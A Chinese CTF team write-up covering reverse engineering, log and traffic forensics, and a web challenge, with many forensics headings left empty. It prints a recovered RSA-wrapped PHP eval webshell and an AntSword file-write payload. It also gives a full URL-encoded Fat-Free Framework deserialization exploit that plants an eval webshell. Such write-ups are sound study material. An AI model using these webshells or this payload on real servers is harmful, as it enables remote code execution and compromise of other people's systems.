type
Post
status
Published
date
Aug 4, 2022
slug
summary
干煸豆角队wp
tags
CTF_Wp
category
CTF_Wp
icon
password
URL
Photo
RebabynimMisc神秘的日志加密的通道Webeasyfatfree取证手机1手机2exe1exe2
exe3exe4exe5apk2apk5apk6
apk7apk8apk9apk10apk11
apk12apk13
服务器5
Re
babynim
逆向:先看string,然后看到有个输入
然后取找函数
有echo和readline就是打印输出
下面有两个initbigint
是把之前看到得长数初始化,就是高精度那一套。
然后有multy的函数,分析过后就是传一个数进去和一个固定小数相乘。然后就是最后进行比较
然后用c大数除就求出来
Misc
神秘的日志
阅读相关链接发现
LDAP之后是用户提权登录,所以直接全局搜索LDAP
阅读之前的搜索结果发现并未成功认证,找到最后一个发现LDAP中继成功了,确认当前时间到security日志中去找这个时间
发现其成功提权用户并登录
所以成功黑入的时间是
2022-04-17T03:27:06.7108313Z
加密的通道
阅读流量包 发现攻击框架: 写入文件 用1.php写入文件rsa.php → rsa.php 加密流量 → 写入文件
获取 rsa.php :
301 流量包之后出现 rsa.php 查看上一个1.php中应该存在文件写入操作
关键参数:
看传参逻辑写出解密脚本,发现确实是rsa.php的写入命令:
放到编译器中美化一下,发现用phpjiami这个网站做了混淆
翻阅好多解混淆的文章终于在github找到了decode项目
运行之后获得rsa.php混淆前的内容
<?php $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5 0S5e5sSOF85kNq/zwwIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) { if (openssl_public_decrypt(base64_decode($value), $de, $pk)) { $cmd .= $de; } } foreach($_POST as $k => $v){ if (openssl_public_decrypt(base64_decode($v), $de, $pk)) { $_POST[$k]=$de; } } eval($cmd);
追踪流,发现写入了文件flag.txt
url解码请求包
阅读ant参数的运行逻辑
发现它的 控制文件内容 的传入参数是
k85c8f24ca50da
// cmd.php <?php @ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir"); if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split("/;|:/", $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }; $tmdir = $item . "/.730e32587"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }; @ini_set("open_basedir", "/"); @rmdir($tmdir); break; }; };; function asenc($out) { return $out; } ; function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "f4" . "612"; echo @asenc($output); echo "ca5" . "8ea8"; } ob_start(); try { echo @fwrite(fopen(base64_decode(substr($_POST["o9b357e1d4d7b7"], 2)), "w"), base64_decode(substr($_POST["k85c8f24ca50da"], 2))) ? "1" : "0";; } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }; asoutput(); die();
放入rsa.php解密参数
k85c8f24ca50da
得到写入文件传参内容根据运行命令得到文件内容需要
base64_decode(substr($_POST["k85c8f24ca50da"], 2))
, 编写脚本得到flag<?php $ant = "1H9CciuT5TKMuAQA2rX7iDWNZWnXc4FQHsmkm/xPLCMRBRmSN9rqZGbfdzalHtuAKfrlNYP5MK7QK+/UqmI7Og24tgvdyI7yHWhE9KwV1MoygkeRDtX8r5Y/q/EeDwXbAqkkTNrPaY+XNBCQVLvwOATSClsMTM3e9I8wH3ov3pc=|u3Ch2JM8AJIZaVAQyZhK8xGaeba22k7FBCD1i3VV94k5H4RyWCx5/CiEBGVgc6pAY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码
和2020年ciscn的题目一致
web目录无权限写到ui目录下
<?php namespace DB; //! In-memory/flat-file DB wrapper class Jig { //@{ Storage formats const FORMAT_JSON=0, FORMAT_Serialized=1; //@} protected //! Storage location $dir = '/var/www/html/ui/', //! Current storage format $format = 'self::FORMAT_JSON', //! Memory-held data $data = array('wumonster.php'=>array('a'=>'<?php eval($_REQUEST[1]);phpinfo();?>')), //! lazy load/save files $lazy = TRUE; /** * Read data from memory/file * @return array * @param $file string **/ } $jig = new jig(); echo urlencode(serialize($jig));
payload=O%3A6%3A%22DB%5CJig%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A17%3A%22%2Fvar%2Fwww%2Fhtml%2Fui%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3Bs%3A17%3A%22self%3A%3AFORMAT_JSON%22%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A13%3A%22wumonster.php%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A37%3A%22%3C%3Fphp+eval%28%24_REQUEST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D
马写进去后发现还是没办法访问根目录
用蚁剑的插件绕过disable_function,cat /flag即可
取证
手机1
手机2
exe1
exe2
exe3
exe4
exe5
apk2
手机取证在手机上用的MT管理器
base64解码得到服务器地址
apk5
同6
apk6
apk7
3个activity,所以应该有3个
apk8
apk9
apk10
权限
apk11
apk12
apk13
服务器5
/www/server目录下发现6个插件